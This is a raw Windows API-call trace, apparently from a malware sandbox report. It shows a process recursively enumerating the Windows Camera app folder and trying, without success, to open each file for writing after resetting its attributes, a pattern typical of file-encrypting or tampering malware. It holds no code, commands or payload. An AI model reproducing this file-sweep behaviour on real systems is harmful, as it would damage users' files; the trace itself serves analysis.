	[0082.657] wcscat (in: _Dest=0x46a51d0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.221] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.224] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.224] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.224] GetLastError () returned 0x5
	[0090.224] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.224] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a51d0) returned 1
	[0090.224] FindNextFileW (in: hFindFile=0x46a8398, lpFindFileData=0x502b138 | out: lpFindFileData=0x502b138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91d7ab3d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91d7ab3d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91d7ab3d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2979, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.224] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.224] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.224] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e115a0
	[0090.224] wcscpy (in: _Dest=0x2e115a0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe"
	[0090.224] wcscat (in: _Dest=0x2e115a0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\"
	[0090.224] wcscat (in: _Dest=0x2e115a0, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.225] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0090.228] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.228] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.229] GetLastError () returned 0x5
	[0090.229] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.229] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e115a0) returned 1
	[0090.229] FindNextFileW (in: hFindFile=0x46a8398, lpFindFileData=0x502b138 | out: lpFindFileData=0x502b138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91dc6fe6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1b532af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91dc6fe6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.229] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.229] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.229] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4717c00
	[0090.229] wcscpy (in: _Dest=0x4717c00, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe"
	[0090.229] wcscat (in: _Dest=0x4717c00, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\"
	[0090.229] wcscat (in: _Dest=0x4717c00, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.229] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e11d38
	[0090.229] wcscpy (in: _Dest=0x2e11d38, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.229] wcscat (in: _Dest=0x2e11d38, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.229] wcscat (in: _Dest=0x2e11d38, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0090.229] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502b608
	[0090.229] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91dc6fe6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1b532af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91dc6fe6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aca8
	[0090.229] wcscmp (_String1=".", _String2=".") returned 0
	[0090.229] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91dc6fe6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1b532af, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91dc6fe6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.229] wcscmp (_String1="..", _String2=".") returned 1
	[0090.229] wcscmp (_String1="..", _String2="..") returned 0
	[0090.229] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91dc6fe6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91dc6fe6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91dc6fe6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3239, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0090.229] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0090.230] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0090.230] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x491b930
	[0090.230] wcscpy (in: _Dest=0x491b930, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.230] wcscat (in: _Dest=0x491b930, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.230] wcscat (in: _Dest=0x491b930, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0090.230] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0090.230] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.230] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.230] GetLastError () returned 0x5
	[0090.230] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.230] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b930) returned 1
	[0090.230] FindNextFileW (in: hFindFile=0x477aca8, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91dc6fe6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91dc6fe6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91dc6fe6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3239, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0090.230] FindClose (in: hFindFile=0x477aca8 | out: hFindFile=0x477aca8) returned 1
	[0090.230] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502b608) returned 1
	[0090.230] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e11d38) returned 1
	[0090.230] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717c00) returned 1
	[0090.231] FindNextFileW (in: hFindFile=0x46a8398, lpFindFileData=0x502b138 | out: lpFindFileData=0x502b138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91dc6fe6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91dc6fe6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91dc6fe6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2998, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.231] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.231] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.231] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e12758
	[0090.231] wcscpy (in: _Dest=0x2e12758, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe"
	[0090.231] wcscat (in: _Dest=0x2e12758, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\"
	[0090.231] wcscat (in: _Dest=0x2e12758, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.231] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0090.232] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.232] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowscamera_2017.125.40.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.232] GetLastError () returned 0x5
	[0090.232] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.232] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12758) returned 1
	[0090.232] FindNextFileW (in: hFindFile=0x46a8398, lpFindFileData=0x502b138 | out: lpFindFileData=0x502b138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91dc6fe6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1b53ee0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91e396fc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.232] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.232] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.232] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x4924c80
	[0090.232] wcscpy (in: _Dest=0x4924c80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe"
	[0090.232] wcscat (in: _Dest=0x4924c80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\"
	[0090.232] wcscat (in: _Dest=0x4924c80, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.232] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4924fa0
	[0090.232] wcscpy (in: _Dest=0x4924fa0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.232] wcscat (in: _Dest=0x4924fa0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.232] wcscat (in: _Dest=0x4924fa0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\*"
	[0090.232] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502c210
	[0090.232] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91dc6fe6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1b53ee0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91e396fc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ac68
	[0090.233] wcscmp (_String1=".", _String2=".") returned 0
	[0090.233] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91dc6fe6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1b53ee0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91e396fc, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.233] wcscmp (_String1="..", _String2=".") returned 1
	[0090.233] wcscmp (_String1="..", _String2="..") returned 0
	[0090.233] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502c210 | out: lpFindFileData=0x502c210*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91dc6fe6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1b54824, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ded244, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EnsoUI", cAlternateFileName="")) returned 1
	[0090.233] wcscmp (_String1="EnsoUI", _String2=".") returned 1
	[0090.233] wcscmp (_String1="EnsoUI", _String2="..") returned 1
	[0090.233] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4717e70
	[0090.233] wcscpy (in: _Dest=0x4717e70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.233] wcscat (in: _Dest=0x4717e70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.233] wcscat (in: _Dest=0x4717e70, _Source="EnsoUI" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI"
	[0090.233] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e11750
	[0090.233] wcscpy (in: _Dest=0x2e11750, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI"
	[0090.233] wcscat (in: _Dest=0x2e11750, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\"
	[0090.233] wcscat (in: _Dest=0x2e11750, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\*"
	[0090.233] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502cbb0
	[0090.233] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\\Assets\\EnsoUI\\*", lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91dc6fe6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1b54824, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ded244, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a768
	[0090.233] wcscmp (_String1=".", _String2=".") returned 0
	[0090.233] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91dc6fe6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb1b54824, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ded244, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.233] wcscmp (_String1="..", _String2=".") returned 1
	[0090.233] wcscmp (_String1="..", _String2="..") returned 0
	[0090.233] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91dc6fe6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x91ded244, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x91ded244, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x301, dwReserved0=0x0, dwReserved1=0x0, cFileName="dashboard_slomo_OFF.png", cAlternateFileName="")) returned 1
	[0090.233] wcscmp (_String1="dashboard_slomo_OFF.png", _String2=".") returned 1
	[0090.233] wcscmp (_String1="dashboard_slomo_OFF.png", _String2="..") returned 1
	[0090.234] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4778660
